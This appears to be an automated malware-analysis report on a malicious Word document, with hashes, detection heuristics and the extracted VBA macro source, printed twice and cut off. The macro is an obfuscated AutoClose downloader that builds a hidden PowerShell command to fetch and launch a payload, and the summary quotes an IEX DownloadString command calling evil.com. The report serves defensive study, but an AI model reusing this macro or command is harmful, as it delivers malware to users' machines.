Office (OLE) malware analysis — malicious · 9243ce6c2de0dcd7

MALICIOUS

Office (OLE)

87.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18

MD5: 5c5989388e7f1ac7ba1937c54814945e SHA-1: 105d837fd7958b4039f7102881b505f4ea0893d6 SHA-256: 9243ce6c2de0dcd7a30ee443208dd25c1d264174f17541c59048b9ba9ecbb3fb

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoClose function that is triggered when the document is closed. This macro constructs and executes a PowerShell command. The reconstructed PowerShell command is 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://evil.com/payload\')"', which indicates it downloads and executes a second-stage payload from a remote URL. This is a common technique for delivering malware.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8638 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8638 bytes
SHA-256: `a17238e89e724b0e499f28c0224ae49b0e4fd03a2412296fbda50354c97d5ad0`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const ieHoSoDEBbOEmPudabwOdepOmEKnZy = 0 Sub AutoClose() On Error Resume Next XEgUFixAGaNeNiSUwlYjvuzIVyoznoQaCVaja = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" Dim puNuriKEwHAwUzLocHitEhysYXAiuptuG Choose 10, "byMiXAwokuretoMexErUW", LTrim("puNuriKEwHAwUzLocHitEhysYXAiuptuG"), "byMiXAwokuretoMexErUWpuNuriKEwHAwUzLocHitEhysYXAiuptuG" IsError CVErr(4283) Call IsNumeric(4283 - byMiXAwokuretoMexErUW) If LenB(byMiXAwokuretoMexErUW11) > CInt(Hex(4283)) Then StrComp "byMiXAwokuretoMexErUW", "byMiXAwokuretoMexErUW" & puNuriKEwHAwUzLocHitEhysYXAiuptuG End If qAEZAVolpoSIhinHeRoTODAjoBIWAjutUgetI = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^M^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B" Dim iAbYNybuZcIequZOwYpimeleKOByzytycuBu Choose 3, "qEfELAbEmoqYwYBaT", LTrim("iAbYNybuZcIequZOwYpimeleKOByzytycuBu"), "qEfELAbEmoqYwYBaTiAbYNybuZcIequZOwYpimeleKOByzytycuBu" IsError CVErr(6741) Call IsNumeric(6741 - qEfELAbEmoqYwYBaT) If LenB(qEfELAbEmoqYwYBaT13) > CInt(Hex(6741)) Then StrComp "qEfELAbEmoqYwYBaT", "qEfELAbEmoqYwYBaT" & iAbYNybuZcIequZOwYpimeleKOByzytycuBu End If Dim mUjefIfeqoZIsAGUbidOVIKITA Choose 5, "cADIZumUZiK", LTrim("mUjefIfeqoZIsAGUbidOVIKITA"), "cADIZumUZiKmUjefIfeqoZIsAGUbidOVIKITA" IsError CVErr(7451) Call IsNumeric(7451 - cADIZumUZiK) If LenB(cADIZumUZiK12) > CInt(Hex(7451)) Then StrComp "cADIZumUZiK", "cADIZumUZiK" & mUjefIfeqoZIsAGUbidOVIKITA End If Dim cIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa Choose 7, "jAwiBokyDiauTitylIKaF", LTrim("cIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa"), "jAwiBokyDiauTitylIKaFcIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa" IsError CVErr(6223) Call IsNumeric(6223 - jAwiBokyDiauTitylIKaF) If LenB(jAwiBokyDiauTitylIKaF12) > CInt(Hex(6223)) Then StrComp "jAwiBokyDiauTitylIKaF", "jAwiBokyDiauTitylIKaF" & cIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa End If ruXIPAnihIlYiLolEBEJaWhABOsOcofEKeJ = "^j^A^G^Q^A^O^Q^B^k^A^D^U^A^Z^A^A^y^A^D^I^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^w^B^k^A^D^k^A^Z^A^A^1^A^G^Q^A^M^g^A^y^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim GIwYPUMorEhocYpuROLEGatuJEwUJAiESyv Choose 6, "LeiiUFIqiVysApyJ", LTrim("GIwYPUMorEhocYpuROLEGatuJEwUJAiESyv"), "LeiiUFIqiVysApyJGIwYPUMorEhocYpuROLEGatuJEwUJAiESyv" IsError CVErr(9638) Call IsNumeric(9638 - LeiiUFIqiVysApyJ) If LenB(LeiiUFIqiVysApyJ10) > CInt(Hex(9638)) Then StrComp "LeiiUFIqiVysApyJ", "LeiiUFIqiVysApyJ" & GIwYPUMorEhocYpuROLEGatuJEwUJAiESyv End If Dim xyxuvyDywZITaqAsEDoPOKieKozuVQYK Choose 2, "CaZAmySImsahEviNuXiv", LTrim("xyxuvyDywZITaqAsEDoPOKieKozuVQYK"), "CaZAmySImsahEviNuXivxyxuvyDywZITaqAsEDoPOKieKozuVQYK" IsError ... (truncated)

SHA-256: a17238e89e724b0e499f28c0224ae49b0e4fd03a2412296fbda50354c97d5ad0

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ieHoSoDEBbOEmPudabwOdepOmEKnZy = 0
Sub AutoClose()
On Error Resume Next
XEgUFixAGaNeNiSUwlYjvuzIVyoznoQaCVaja = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"
Dim puNuriKEwHAwUzLocHitEhysYXAiuptuG


Choose 10, "byMiXAwokuretoMexErUW", LTrim("puNuriKEwHAwUzLocHitEhysYXAiuptuG"), "byMiXAwokuretoMexErUWpuNuriKEwHAwUzLocHitEhysYXAiuptuG"
IsError CVErr(4283)
Call IsNumeric(4283 - byMiXAwokuretoMexErUW)

If LenB(byMiXAwokuretoMexErUW11) > CInt(Hex(4283)) Then
   StrComp "byMiXAwokuretoMexErUW", "byMiXAwokuretoMexErUW" & puNuriKEwHAwUzLocHitEhysYXAiuptuG
End If

qAEZAVolpoSIhinHeRoTODAjoBIWAjutUgetI = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^M^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B"
Dim iAbYNybuZcIequZOwYpimeleKOByzytycuBu


Choose 3, "qEfELAbEmoqYwYBaT", LTrim("iAbYNybuZcIequZOwYpimeleKOByzytycuBu"), "qEfELAbEmoqYwYBaTiAbYNybuZcIequZOwYpimeleKOByzytycuBu"
IsError CVErr(6741)
Call IsNumeric(6741 - qEfELAbEmoqYwYBaT)

If LenB(qEfELAbEmoqYwYBaT13) > CInt(Hex(6741)) Then
   StrComp "qEfELAbEmoqYwYBaT", "qEfELAbEmoqYwYBaT" & iAbYNybuZcIequZOwYpimeleKOByzytycuBu
End If


Dim mUjefIfeqoZIsAGUbidOVIKITA


Choose 5, "cADIZumUZiK", LTrim("mUjefIfeqoZIsAGUbidOVIKITA"), "cADIZumUZiKmUjefIfeqoZIsAGUbidOVIKITA"
IsError CVErr(7451)
Call IsNumeric(7451 - cADIZumUZiK)

If LenB(cADIZumUZiK12) > CInt(Hex(7451)) Then
   StrComp "cADIZumUZiK", "cADIZumUZiK" & mUjefIfeqoZIsAGUbidOVIKITA
End If
Dim cIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa


Choose 7, "jAwiBokyDiauTitylIKaF", LTrim("cIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa"), "jAwiBokyDiauTitylIKaFcIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa"
IsError CVErr(6223)
Call IsNumeric(6223 - jAwiBokyDiauTitylIKaF)

If LenB(jAwiBokyDiauTitylIKaF12) > CInt(Hex(6223)) Then
   StrComp "jAwiBokyDiauTitylIKaF", "jAwiBokyDiauTitylIKaF" & cIKyFIiUJUpOLALLYlAJaluKySyVIhUWuQoZyaa
End If
ruXIPAnihIlYiLolEBEJaWhABOsOcofEKeJ = "^j^A^G^Q^A^O^Q^B^k^A^D^U^A^Z^A^A^y^A^D^I^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^w^B^k^A^D^k^A^Z^A^A^1^A^G^Q^A^M^g^A^y^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"
Dim GIwYPUMorEhocYpuROLEGatuJEwUJAiESyv


Choose 6, "LeiiUFIqiVysApyJ", LTrim("GIwYPUMorEhocYpuROLEGatuJEwUJAiESyv"), "LeiiUFIqiVysApyJGIwYPUMorEhocYpuROLEGatuJEwUJAiESyv"
IsError CVErr(9638)
Call IsNumeric(9638 - LeiiUFIqiVysApyJ)

If LenB(LeiiUFIqiVysApyJ10) > CInt(Hex(9638)) Then
   StrComp "LeiiUFIqiVysApyJ", "LeiiUFIqiVysApyJ" & GIwYPUMorEhocYpuROLEGatuJEwUJAiESyv
End If
Dim xyxuvyDywZITaqAsEDoPOKieKozuVQYK


Choose 2, "CaZAmySImsahEviNuXiv", LTrim("xyxuvyDywZITaqAsEDoPOKieKozuVQYK"), "CaZAmySImsahEviNuXivxyxuvyDywZITaqAsEDoPOKieKozuVQYK"
IsError 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.